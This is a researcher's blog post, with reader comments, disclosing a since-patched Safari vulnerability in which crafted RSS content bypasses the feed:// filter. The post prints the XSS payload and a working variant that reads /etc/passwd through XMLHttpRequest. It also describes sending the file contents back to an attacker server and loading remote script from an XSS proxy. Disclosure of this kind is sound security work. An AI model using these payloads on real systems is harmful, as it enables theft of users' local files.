Both Safari for OS X and Windows platforms were affected by this vulnerability (my precious iPhone was not affected). The vulnerability ultimately resulted in Remote Command Execution for both systems, making it a serious/critical issue for Safari users. There may be a technique to reach this vulnerability if you’re using a different browser on OS X, so even if Safari isn’t your default browser on OS X, I would recommend you grab the patch anyway :)
When I reported this issue to Apple, I reported it as a “File Stealing” vulnerability, which gave a remote attacker the ability to steal arbitrary files off the user’s file system. So, if you were using Safari and browsed to the wrong page (or fell victim to an XSS attack), an attacker had the ability to steal all of files from your local file system… ouch! Since the issue is patched, let’s look at how an attacker could steal some files using Safari… (RCE will be left as an exercise for the reader)
First, let’s take a look at Safari’s RSS feed handling mechanisms. Safari for both OS X and Windows supports the handling of RSS files through the Feed:// protocol handler. For example, if you wanted to view the feed for this blog in Safari, you could simply enter the following into the address bar:
feed://http://xs-sniper.com/blog/feed/
RSS files are basically XML files that contain content that can be rendered by RSS readers. In this case, the attacker controls the entire XML file. The XML file I started with followed the standard used by most blogs. The most interesting XML tags were the tags that held blog post content:
<content:encoded><![CDATA[ .... ></content:encoded>
It seems that Apple understood the dangers of taking in and rendering un-trusted RSS feeds and actually implemented a filtering routine in an attempt to filter dangerous content. In my attempts to defeat the filtering routine, I tried several different payload combinations, most of which were focused on the “content:encoded” tag; some of my payloads were HTML encoded before being displayed in the browser, other combinations resulted in tags and characters being stripped out completely. Eventually, I discovered a combination that would allow for the execution of script in the context of feed://
<content:encoded><![CDATA[
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert('xss’);”“<onload=””
]]>
</content:encoded>
Which resulted in the following being rendered by Safari:
….
<div class="apple-rss-article-body">
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert(‘xss’);”>
<onload></onload>
</body>
<!-- end articlebody --></div
….
As you can see, Safari's filtering routines have stripped out some characters and added some characters as well. Despite the filtering, the HTML is valid and we now have script execution in the context of feed://. Safari grants script executed within the context of feed:// access to the local file system, so from here I changed the “alert(‘xss’);” to an XMLHTTPRequest Object.
<body src="http://xs-sniper.com/images/React-Team-Leader.JPG" onload="javascript:alert('loading /etc/passwd into javascript');var req;req = new XMLHttpRequest();req.onreadystatechange = processReqChange;req.open('GET', 'file:////etc/passwd', true);req.send('');function processReqChange() {if (req.readyState == 4) {alert(req.responseText); }}" <onload=""
Proof of concept can be found here.
http://xs-sniper.com/sniperscope/Safari/feed-protocol/feed-sploit.php
The php script scans the UserAgent and determines whether you are using Safari on Windows or Safari on Mac OS X. If you happen to be on Mac OS X, the PoC will displays your /etc/passwd file in a JavaScript alert box. If you are on a Windows machine the PoC will display c:\windows\win.ini in a JavaScript alert box. Once the file contents are placed into a JavaScript object, getting the file contents back to the attacker is easily accomplished. For large files, an attacker can even use a dynamically generated FORM and POST the contents back to the attacker server. An attacker could also use this vulnerability to establish a dynamic remote control channel by injecting a "<script src=http://XS-Sniper's-IP-Address/dynamic.js>" (XS-Sniper is the name of my XSS proxy), giving the attacker more control over the JavaScript executed by the victim.
I'm very interested in vulnerabilities like this. We (the security industry) have developed an extensive toolset to detect memory access violations, but we're lacking in tools to detect boundary violations of this sort. Memory corruption (IMHO) remains the holy grail of exploitation, but as memory corruption vulnerabilities become increasing difficult to exploit, it may be beneficial to develop tools and techniques to detect boundary violations such as this one.
Hey, just curious, any legitimate reason why feed:// would need access to the local filesystem? I thought it would behave similar to other cross domain situations.
ReplyDelete[...] Stealing More Files with Safari (Billy (BK) Rios) Explaining the XSS vulnerability in Safari’s RSS feed reader. Seems to have been a specific problem for the filtering strategy that Apple used to filter feed content. (tags: security xss safari) [...]
ReplyDelete@John - From a pure security engineering standpoint, giving the feed:// protocol access to the local file system is a bad idea. I'm not sure why the design is as it is, but I'm guessing that it is a side effect of loading the feed HTML templates from the local file system
ReplyDeletei like to share all your p@rn thru this exploit.
ReplyDelete[...] had reported to Apple earlier in the year. The details of the original vulnerability can be found here. Once PoC for the original bug was made public, a researcher named Alfredo Melloni contacted me [...]
ReplyDelete